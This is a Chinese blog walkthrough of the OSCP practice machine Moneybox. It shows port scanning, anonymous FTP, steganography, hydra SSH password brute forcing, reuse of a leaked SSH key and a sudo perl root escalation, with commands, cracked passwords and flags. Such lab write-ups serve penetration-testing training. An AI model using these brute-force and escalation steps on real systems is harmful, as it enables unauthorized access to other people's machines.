OSCP系列靶场-Esay-Moneybox保姆级

2023-09-21 08:36:41

OSCP系列靶场-Esay-Moneybox

总结

getwebshell : 目录扫描发现目录 → HTML中发现隐藏keyFTP匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda爆破ssh进入内部

提 权 思 路 : history发现存在私钥 → 登录其他用户 → perl权限提升

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.191

  • 启动靶机
    获取目标机器IP → 192.168.162.230

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.162.230

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http


开放的端口-→21,22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap探测信息为21/tcp open ftp vsftpd 3.0.3

# ftp配置文件位置
/etc/vsftpd.conf
21-FTP端口匿名登录测试(存在)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.162.230
Name: anonymous

21-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftpls -al
# cd 查看存储的文件
ftpcd [file_date_name]
# get 下载文件
ftp → get [file_name]

发现了trytofind.jpg下载到了本地


打开是一张纯粹的图片,推测有隐写术

21-FTP端口-PUT上传测试

测试是否可以利用PUT上传文件

# put 上传文件
ftp → put [file_name]

不具备上传功能

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本
msf6 → searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.162.230 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.162.230 -p 22
# 密码尝试
password → root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问 http://192.168.162.230:80 不是CMS我们直接从HTML隐藏信息收集开始


网站说很简单,我不信(¬︿̫̿¬☆)

信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.162.230:80

无隐藏内容

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.162.230:80 -x 302,403

通过扫描发现了一个新的端点/blogs/
因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/blogs/端点访问

从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备


curl了一下发现了新的隐藏路径S3cr3t-T3xt

/S3cr3t-T3xt端点访问

提示是没有


curl了一下,发现了新内容…一个key 3xtr4ctd4t4

漏洞利用-getwebshell

key利用

根据现有内容key应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码

通过CHATGPT推荐使用工具 steghide

通过chatgpt获取对应的工具使用方式

steghide extract -sf  -xf  -p 

其中:

  • `` 是包含隐藏信息的图像文件
  • `` 是提取的信息输出文件
  • `` 是解密隐藏信息的密码

修改成我们需要的样子

steghide extract -sf trytofind.jpg -xf mian.txt
password → 3xtr4ctd4t4

成功获得main.txt

信息泄露获得用户名

打开发现内容 确定密码很简单并且用户名是renu

Hello.....  renu

      I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......

SSH爆破登录

这样我们可以尝试爆破一下renu的账户,利用工具hyrda

# -l 指定用户名 -P指定密码字典
hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22

成功得到了账号密码信息

[22][ssh] host: 192.168.162.230   login: renu   password: 987654321

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh renu @192.168.162.230 -p22
password → 987654321

成功打入内部,第一步完成

内网遨游-getshell

FLAG1获取

renu @MoneyBox:~$ find / -name local.txt 2→/dev/null
/home/renu/local.txt
renu @MoneyBox:~$ cat /home/renu/local.txt
ad71d6f825f157311d017a8bd94a7e03

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
renu @MoneyBox:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

renu @MoneyBox:~$ uname -a
Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
renu @MoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
sudo -l

发现需要密码,尝试987654321失败

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

renu @MoneyBox:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1486 Feb 26  2021 /etc/passwd
/etc/shadow权限收集
  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
renu @MoneyBox:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1095 Oct 11  2022 /etc/shadow
getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息

可能用户留下的历史信息具有有用的信息

history

发现存在登录到其他用户的历史命令

ssh -i id_rsa lily @192.168.43.8

查看一下本用户/home目录下是否存在SSH密钥


再查看一下lily目录下是否存在authorized keys


确认存在之后尝试登录lily的用户

# 修改一下ip
ssh -i id_rsa lily @	192.168.162.230

登录成功,准备进行新的信息收集

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件

利用sudo -l寻找

lily @MoneyBox:~$ sudo -l
Matching Defaults entries for lily on MoneyBox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lily may run the following commands on MoneyBox:
    (ALL : ALL) NOPASSWD: /usr/bin/perl

看到了内容 会心一笑

perl权限提升

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

sudo perl -e 'exec "/bin/sh";'

找到了提权的命令,提权成功

lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
# is
/bin/sh: 1: is: not found
# id
uid=0(root) gid=0(root) groups=0(root)

FLAG2获取

# cat /root/proof.txt
7b0bce8f4b59a3db7d173f3e833e50f8
完结撒花~

总结

查看历史记录也是一件很重要的事情

更多推荐

标准库浏览 – Part II

目录11.标准库浏览–PartII11.1.输出格式11.2.模板11.3.使用二进制数据记录布局11.4.多线程11.5.日志11.6.弱引用11.7.列表工具11.8.十进制浮点数算法11.标准库浏览–PartII第二部分包含了支持专业编程工作所需的更高级的模块,这些模块很少出现在小脚本中。11.1.输出格式rep

【C++从入门到精通】第2篇:C++基础知识(中)

文章目录2.1iostream介绍:cout、cin和endl2.1.1输入/输出库2.1.2std::cout2.1.3std::endl2.1.4std::cout是缓冲的2.1.5std::endl与\n2.1.6std::cin2.1.7总结2.1.8练习时间2.2未初始化的变量和未定义的行为2.2.1未初始化

Camera Tunning ISP 模块面试总结

一.ISP的调试流程概述:在ISP调试流程中,我们首先需要确认以下三个方面:项目需求、硬件问题确认和Sensor驱动配置确认。项目需求方面,即Sensor需要出多大的分辨率去调效果;因为有些芯片有最大分辨率支持的限制,可能需要调整sensor输出的分辨率大小;而且要注意下减小分辨率后,输出图像的fov及像素的长宽比,减

泡泡玛特加速海外布局,泰国首店开业吸引超千名粉丝排队

自2022年起,泡泡玛特全球门店布局加速,在包括英国、美国、新西兰欧美国家均开设新店面,2022年7月,泡泡玛特全球首家旗舰店落地首尔。泡泡玛特自2018年年底开始规划出海,截至目前,在全球已经拥有50多家门店,2023年以来,法国巴黎、澳大利亚悉尼、马来西亚吉隆坡等持续开店,覆盖跨境电商与本地电商等线上渠道,一季度海

网络安全:保护你的系统

🌷🍁博主猫头虎(🐅🐾)带您GotoNewWorld✨🍁🦄博客首页——🐅🐾猫头虎的博客🎐🐳《面试题大全专栏》🦕文章图文并茂🦖生动形象🐅简单易学!欢迎大家来踩踩~🌺🌊《IDEA开发秘籍专栏》🐾学会IDEA常用操作,工作效率翻倍~💐🌊《100天精通Golang(基础入门篇)》🐅学会Gol

新概念英语(第二册)复习——Lesson 1 - Lesson5

前言重新整理下自己走过的英语路,算是一次梳理,也是一次简单的常识,更是为了以后做一次备份不用怀疑,学完我曾经看过,听过,背过的资料,你也可以成为英语高手。文章目录前言Lesson1-Aprivateconversation原文翻译单词Lesson2-Breakfastorlunch?原文译文单词Lesson3-Plea

rust字符串

标准库提供了String结构体表示字符串。String实际上就是Vec<u8>的封装。唯一的不同是String的方法假定Vec<u8>中的二进制都是utf8编码的pubstructString{vec:Vec<u8>,}一、定义String1.使用new方法创建空字符串letstring=String::new();2

前端深入理解JavaScript面向对象编程与Class

🎬岸边的风:个人主页🔥个人专栏:《VUE》《javaScript》⛺️生活的理想,就是为了理想的生活!目录引言1.什么是面向对象编程?2.Class的基本概念3.Class的语法3.1构造函数3.2属性3.3方法3.4方法的访问修饰符4.类的静态方法和属性5.Getter和Setter方法6.类的私有属性和方法7.

深度学习-Python调用ONNX模型

目录ONNX模型使用流程获取ONNX模型方法使用ONNX模型手动编写ONNX模型Python调用ONNX模型常见错误错误raiseValueError...:错误:Loadmodelmodel.onnxfailed错误:'CUDAExecutionProvider'isnotinavailableprovider错误:

GFS 分布式文件系统

1、GlusterFS概述1.1GlusterFS简介GlusterFS是一个开源的分布式文件系统。由存储服务器、客户端以及NFS/Samba存储网关(可选,根据需要选择使用)组成。没有元数据服务器组件,这有助于提升整个系统的性能、可靠性和稳定性。MFS传统的分布式文件系统大多通过元服务器来存储元数据,元数据包含存储节

前端实现websocket的应用场景以及逻辑实现

前端实现websocket的应用场景以及逻辑实现前端在基础业务逻辑外,根据具体的业务需求还可以实现更复杂的交互逻辑,如:数据同步:WebSocket可用于实时更新数据,当服务器端数据发生变化时,通过WebSocket将变化的数据推送给前端,以保持数据的实时同步。聊天功能:使用WebSocket实现实时聊天功能,前端用户

热文推荐